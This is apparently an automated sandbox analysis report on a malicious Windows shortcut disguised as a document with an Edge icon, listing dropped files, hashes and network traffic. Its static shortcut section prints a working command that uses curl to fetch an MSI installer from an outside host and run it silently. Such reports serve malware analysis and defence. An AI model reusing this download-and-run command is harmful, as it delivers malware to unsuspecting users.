Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p.......p.....p..../.p.......p...q.%.p.......p.....p.....p.Rich..p.........................PE..L...Y..e...........!.....h..........K................................................]....@.........................P...]............P.......................`.....................................p...@...............t............................text....f.......h.................. ..`.rdata...............l..............@..@.data....5..........................@....rsrc........P......................@..@.reloc...)...`...*..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{1C447779-2A69-4A18-8AA7-5CA40A2E3221}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7759657850797514
Encrypted:	false
SSDEEP:	12:JSbX72FjaAGiLIlHVRpTh/7777777777777777777777777vDHFHBAVETa8l0i8Q:JkQI5XtBbIF
MD5:	D6E461778411E1955C5EBE814ACF1422
SHA1:	F3B09484DBC71A1412D52667F2993564702E0011
SHA-256:	08A917B506B746D7DDD66E026896BD11FC9AB1C1C83F2DB0C6C73D892DBD08B9
SHA-512:	4D426BCD73094C4A452EB5CF540B7CBDBDEC9D65E563B2D6B788DB063BDB2A31A389F9A2E2BB6A7087265C1F1DDDABC748D0CAEE801786861DC8EB3F752BB1B3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.215720700262215
Encrypted:	false
SSDEEP:	48:5JGu5O+xFX4NT5L2E3MddSP9KuDddSBmVrl:bGKOTZaOpq
MD5:	D2DA288786B1384432156ACF68BBEF2E
SHA1:	F76005710E1CBF196482160C9960E5C953D9EF1F
SHA-256:	76FECA5FAC39A4A51F7D504821C4995648C205ACD04B266FD9CC87E3FE29583D
SHA-512:	8BFF6B2A43FB10E30B9C3C4CCBC05E93D2B35F0D9FD4243C840D274CB60BEAE3A2361BF2BB568652BA09851F9398B10C3D0FAF5AA41C5B9C6B57F2B97DBF56D7
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	364484
Entropy (8bit):	5.365491243904883
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgauz:zTtbmkExhMJCIpEw
MD5:	EE10111B07AC935D6ACAFBFAF686223B
SHA1:	C6A200479C5384E9B486D363ABA4FC51C2B06EED
SHA-256:	820AE65AEE2540BCCDB9F3662EE572F3D6174C84A3082F1A642A762F62A715D3
SHA-512:	5D58300E14B8F5D4F2D395361C804087C23CCB09679D38DC06C5025895882607B3CABA6F9B5B6046C1A8001400D1A878496A435A1D554FE3619786658831CD2C
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF7267C647A6B86B12.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	0.10686774695373685
Encrypted:	false
SSDEEP:	24:rGse0hJfAebfddipV7m3ddipVdV3+7pGS3SYukd+dOhEi0:2QrfddSBm3ddSP9KuE62E
MD5:	0D7CE24D0A94DDC87B9766F5569E18F2
SHA1:	B6EEA9BD70A5A4A334EF3C71CF442F6FEF016628
SHA-256:	E0A3561495D5720404ABDA35B2CD9FEB0C8404CA5B8E84B7323E871970E5B30E
SHA-512:	E530CF818413BD5E8BB3C157276C9C6051D18D176CB2C15C0B8F587417C357A8717D1848898D7F28E1403861BE404A940EDD53F9530A7A8274F93EB6D863DA7C
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFA4CAB55233FC39E2.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.08188032583791822
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKO7LBAGO32hTuOkoVky6l8:2F0i8n0itFzDHFHBAVETa8
MD5:	C094E708BED3700138F5584ACE15B95B
SHA1:	33769CC5B5D802F95499E5AC55A781C2DC43D654
SHA-256:	B0C5CAAEBA8764C765D5D9EEC8DCE21B92CEA6834E61E0D199DC3043E6F4585F
SHA-512:	BDA7ED8756FDDCC5296DEF3AB7B62EAAD93BD34B6CE5E1CAE278F906A933FE3697C10556D6D7B574B39B6676DF1200144714D1A7ABA5DF7143EA7EBE3189DE0F
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with very long lines (858), with CRLF, CR, LF line terminators, with overstriking
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	3.584980796232226
Encrypted:	false
SSDEEP:	12:zK/0HtBFNE8xQDdXXXXXXXXXXXXXXXXeDYJQn:zKcNDrQDdXXXXXXXXXXXXXXXXeDYJQn
MD5:	55C5E004BBF8A61665DEBB7BD2485F9B
SHA1:	39019D5386CFEE64DA3FB202719C1D4CA9167D25
SHA-256:	C0AF427619D9DDAA6DE07F17E94F275686B430633637C92A8A1A695CD910A653
SHA-512:	612C38A613B9D3D56AD1B070D24D0A20C8B6D276F6374A46D0C2D7C249A65ABF00FD731FF80E6DC0F49ADC9FDCE1987D2F0C4D57E27E0EC7A49DCDF415754C02
Malicious:	false
Preview:	Microsoft (R) File Expansion Utility..Copyright (c) Microsoft Corporation. All rights reserved.....Adding files\setup.exe to Extraction Queue....Expanding Files ......Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................Progress: 0 out of 1 files..........................P

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Archive, ctime=Tue May 21 09:01:42 2024, mtime=Tue Dec 10 16:16:03 2024, atime=Tue May 21 09:01:42 2024, length=289792, window=hidenormalshowminimized
Entropy (8bit):	3.5567445225438874
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Document.lnk.download.lnk
File size:	2'149 bytes
MD5:	d4f518a06f228fb45e26355095985eee
SHA1:	1fcdd6f0a1e7513c607bbbe40ce50567225e81e8
SHA256:	d9e9cf4e194792c8a81fa855733259a633e830d7753839c0b1be1314e3d478f3
SHA512:	0e4d4d728b29463efe163a1654a8f67c6fe363505d3d41ddd7c2bb2210f36e5eb2bfb3017394a14407c69e0f04fc8913650d56ae4b460f60a366379f6d2596d9
SSDEEP:	24:8psiJccu+GOAMUsx+/5+kanchEiRa3MJhEiBddNXuHY8x8YUmsx:8GjM4engEaa3MfESdLXuHLU
TLSH:	1B41FC162FE40724F3BB8D3680B6D691A637B882FD228E4D019882840853716ED35FBF
File Content Preview:	L..................F.@.. ...\n..e......0'K......e....l......................5....P.O. .:i.....+00.../C:\...................V.1.....xY.Y..Windows.@........OwH.Y............................b...W.i.n.d.o.w.s.....Z.1......Y.H..System32..B........OwH.Y........

File Icon


Icon Hash:	72d282828e8d8dd5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\System32\cmd.exe
Command Line Argument:	/k curl -sLo %TEMP%\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & %TEMP%\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 12:08:54.387742043 CET	49675	443	192.168.2.5	23.1.237.91
Dec 12, 2024 12:08:54.387748003 CET	49674	443	192.168.2.5	23.1.237.91
Dec 12, 2024 12:08:54.497104883 CET	49673	443	192.168.2.5	23.1.237.91
Dec 12, 2024 12:08:59.388351917 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:08:59.388453007 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:08:59.388544083 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:08:59.398415089 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:08:59.398452044 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:00.626574039 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:00.626746893 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:00.630455971 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:00.630485058 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:00.630839109 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:00.633980989 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:00.679332018 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.069096088 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.069130898 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.069309950 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.069350958 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.122071981 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.184753895 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.184771061 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.184865952 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.265250921 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.265265942 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.265383959 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.298716068 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.298727036 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.298832893 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.324197054 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.324299097 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.363785028 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.363902092 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.451320887 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.451422930 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.470552921 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.470642090 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.482848883 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.482935905 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.495635033 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.495717049 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.507452965 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.507530928 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.519860029 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.519964933 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.567101002 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.567198038 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.638715029 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.638823986 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.649276018 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.649358988 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.656908989 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.656977892 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.664484024 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.664679050 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.672028065 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.672116995 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.682013988 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.682100058 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.689692020 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.689807892 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.695868015 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.695960999 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.703351974 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.703424931 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.708992004 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.709060907 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.749816895 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.750050068 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.755487919 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.755592108 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.832581043 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.832809925 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.836179018 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.836265087 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.840598106 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.840693951 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.846733093 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.846842051 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.851464987 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.851550102 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.855243921 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.855334997 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.859615088 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.859694958 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.866993904 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.867099047 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.870189905 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.870285034 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.874943972 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.875017881 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.879456043 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.879543066 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.884000063 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.884083033 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.890360117 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.890436888 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.894036055 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.894109964 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.941858053 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.941984892 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:01.947570086 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:01.947652102 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.022291899 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.022555113 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.026127100 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.026213884 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.029725075 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.029794931 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.032125950 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.032207012 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.035521030 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.035607100 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.039438963 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.039513111 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.042516947 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.042597055 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.046148062 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.046228886 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.050134897 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.050213099 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.052663088 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.052736998 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.058060884 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.058141947 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.059132099 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.059199095 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.062311888 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.062391043 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.066116095 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.066191912 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.133384943 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.133534908 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.136591911 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.136692047 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.213115931 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.213227987 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.215785980 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.215864897 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.218266964 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.218339920 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.221116066 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.221235037 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.224121094 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.224208117 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.226918936 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.227029085 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.229600906 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.229691982 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.232759953 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.232839108 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.236088991 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.236175060 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.239195108 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.239269972 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.241259098 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.241338015 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.243810892 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.243875980 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.247484922 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.247556925 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.248995066 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.249062061 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.252525091 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.252612114 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.327678919 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.327811003 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.330955982 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.331021070 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.406796932 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.406873941 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.410469055 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.410547018 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.412563086 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.412641048 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.416237116 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.416299105 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.417926073 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.417999983 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.421363115 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.421432972 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.424230099 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.424304962 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.427304029 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.427395105 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.430630922 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.430720091 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.432754993 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.432826042 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.435390949 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.435456038 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.438113928 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.438221931 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.441349983 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.441437006 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.443509102 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.443591118 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.518609047 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.518702984 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.521120071 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.521193027 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.599299908 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.599416018 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.601486921 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.601557970 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.604058981 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.604135036 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.606657982 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.606724024 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.608928919 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.608994007 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.612131119 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.612193108 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.614737034 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.614804029 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.617599964 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.617665052 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.619946957 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.620014906 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.623306990 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.623383045 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.626270056 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.626331091 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.628940105 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.629005909 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.631567955 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.631630898 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.634130001 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.634198904 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.709315062 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.709472895 CET	49706	443	192.168.2.5	166.1.160.166
Dec 12, 2024 12:09:02.711836100 CET	443	49706	166.1.160.166	192.168.2.5
Dec 12, 2024 12:09:02.711914062 CET	49706	443	192.168.2.5	166.1.160.166
